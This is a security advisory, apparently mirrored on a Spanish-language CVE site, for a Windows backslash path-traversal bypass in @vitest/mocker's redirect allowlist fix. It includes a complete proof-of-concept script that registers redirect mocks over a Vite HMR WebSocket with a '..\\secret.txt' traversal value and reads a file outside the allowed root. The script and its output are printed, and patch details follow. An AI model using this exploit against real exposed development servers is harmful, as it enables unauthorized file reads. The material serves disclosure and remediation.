GHSA-XP26-3454-MJGP
Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 5.0.3 | @vitest/mocker · -21 d desde divulgación | |
| Remediación | Parche 4.1.12 | @vitest/mocker · -6 d desde divulgación | |
| Divulgación | Publicada | GHSA-XP26-3454-MJGP divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
The path traversal fix released for GHSA-82fw-gwwq-j7x9 https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.
The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.
I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:
- `@vitest/mocker@4.1.11`
- `@vitest/mocker@5.0.0`
The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.
Patches
Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it.
Relationship to GHSA-82fw-gwwq-j7x9
This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.
The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:
- `4.1.11`
- `>=5.0.0-rc.2, <5.0.3`
Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.
Root cause
`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirectThe registered value later reaches:
readFile(mock.redirect, 'utf-8')Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.
The authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.
Preconditions and impact
A client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.
The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.
Reproduction
Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.
Install dependencies for either affected line:
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs`poc.mjs`:
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'
const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')
const server = await createServer({
root,
configFile: false,
logLevel: 'silent',
server: { fs: { allow: [root] } },
plugins: [
{
name: 'validation:virtual-modules',
enforce: 'pre',
resolveId(id) {
if (id === '/control' || id === '/bypass') return id
},
},
interceptorPlugin(),
],
})
await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]
function register(id, redirect) {
return new Promise((resolve, reject) => {
const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
socket.on('message', (raw) => {
let message
try { message = JSON.parse(raw.toString()) } catch { return }
if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
clearTimeout(timer)
socket.close()
resolve()
}
})
socket.on('open', () => socket.send(JSON.stringify({
type: 'custom',
event: 'vitest:interceptor:register',
data: { type: 'redirect', raw: '', id, url: id, redirect },
})))
socket.on('error', reject)
})
}
try {
await register('/control', 'traversal:../secret.txt')
const controlResponse = await fetch(new URL('/control', baseUrl))
const controlBody = await controlResponse.text()
await register('/bypass', 'traversal:..\\secret.txt')
const bypassResponse = await fetch(new URL('/bypass', baseUrl))
const bypassBody = await bypassResponse.text()
const result = {
platform: process.platform,
root,
outsideFile: secret,
slashTraversalStatus: controlResponse.status,
slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
backslashTraversalStatus: bypassResponse.status,
backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
}
console.log(JSON.stringify(result, null, 2))
const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
? !result.backslashTraversalReturnedOutsideCanary
: result.backslashTraversalReturnedOutsideCanary
if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
await server.close()
}Observed with `@vitest/mocker@4.1.11`:
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
"expectedBackslashTraversalBlocked": false
}The same result was observed with `@vitest/mocker@5.0.0`.
This includes two useful controls:
- `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.
- `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@vitest/mocker |
Corregida | 4.1.12, 5.0.3 | -6 d · -21 d | 5.1.1 no afectada |
4.1.125.0.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-112950https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgphttps://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473https://github.com/vitest-dev/vitesthttps://github.com/vitest-dev/vitest/releases/tag/v4.1.12https://github.com/vitest-dev/vitest/releases/tag/v5.0.3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
